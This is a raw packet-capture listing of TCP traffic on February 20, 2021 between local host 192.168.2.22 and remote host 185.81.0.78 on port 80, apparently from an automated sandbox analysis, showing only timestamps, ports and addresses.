Feb 20, 2021 02:03:51.331475973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331501961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331547976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331552029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331582069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331603050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331614017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331617117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331659079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331660032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331686020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331701040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331712008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331728935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331741095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331763983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331767082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331784010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331800938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331810951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331830978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331851006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331856966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331870079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331886053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331902027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331912994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331933022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331940889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331954002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331988096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331991911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332017899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.332034111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332045078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.332063913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332078934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.332091093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332113981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.332120895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332150936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.332164049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332176924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.332191944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.332221031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.333023071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.343872070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.343951941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344043970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344063044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344084978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344103098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344114065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344119072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344126940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344140053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344177008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344183922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344187975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344233990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.344255924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.344301939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345271111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345349073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345402956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345453024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345469952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345495939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345503092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345520973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345544100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345556021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345572948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345581055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345630884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345649958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345684052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345695019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345709085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345750093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345753908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345794916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345809937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345858097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345859051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345875978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.345907927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.345932961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346051931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346072912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346121073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346121073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346136093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346138000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346158028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346179008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346189022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346194983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346535921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346594095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346637964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346658945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346678019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346697092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.346698046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346705914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346710920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.346731901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347202063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347223043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347242117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347259998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347270966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347270966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347275972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347290039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347307920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347323895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347326040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347340107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347347021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347357988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347373009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347417116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.347476959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.347524881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.349940062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.349970102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.349996090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.349996090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350014925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350038052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350039959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350064039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350074053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350083113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350092888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350111961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350119114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350142956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350142956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350155115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350167990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350194931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350204945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350219965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350255013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350281000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350291014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350303888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350307941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350333929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350343943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350346088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350368977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350392103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350400925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350414038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350423098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350434065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350439072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350477934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350502968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350531101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350549936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350557089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.350562096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350567102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350572109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350575924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.350596905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.383337975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.383449078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.383590937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.383630991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.383654118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.383678913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.383811951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.383867025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.385960102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386001110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386039019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386040926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386056900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386086941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386176109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386226892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386244059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386285067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386291981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386322975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386349916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386364937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386377096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386439085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386446953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386487007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386502981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386543989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386569023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386621952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386641979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386708021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386751890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386877060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386939049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386951923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.386953115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386957884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.386961937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387016058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387022018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387058973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387095928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387132883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387178898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387198925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387207031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387212038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387217045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387247086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387288094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387314081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387325048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387330055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387336016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387366056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387406111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387442112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387470961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387479067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387517929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387557983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387563944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.387567043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387572050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387576103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387579918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.387603045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.388926029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.388969898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.388992071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.389017105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389017105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.389075041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.389133930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389281988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.389631987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389674902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389689922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.389718056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389802933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389884949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389929056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.389977932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.390017033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.390024900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.390028954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.391957998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392018080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392090082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392143965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392157078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392188072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392190933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392235994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392249107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392324924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392440081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392450094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392474890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392488956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392518997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392564058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392592907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392602921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392666101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392682076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392685890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392713070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392725945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392772913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392782927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392826080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392838955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392863035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392895937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.392935991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.392990112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393006086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393008947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393028021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393064022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393068075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393100023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393126965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393165112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393178940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393222094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393265963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393285990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393289089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393295050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393317938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393322945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393356085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393372059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393429041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393462896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393471003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393490076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393508911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393517971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393573046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393604040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393610954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393629074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393661976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393693924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393788099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393845081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393850088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393855095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.393922091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.393954992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394020081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394083023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394084930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394105911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394123077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394141912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394160032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394186974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394202948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394234896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394279003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394316912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394318104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394342899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394371986 CET	49165	80	192.168.2.22	185.81.0.78
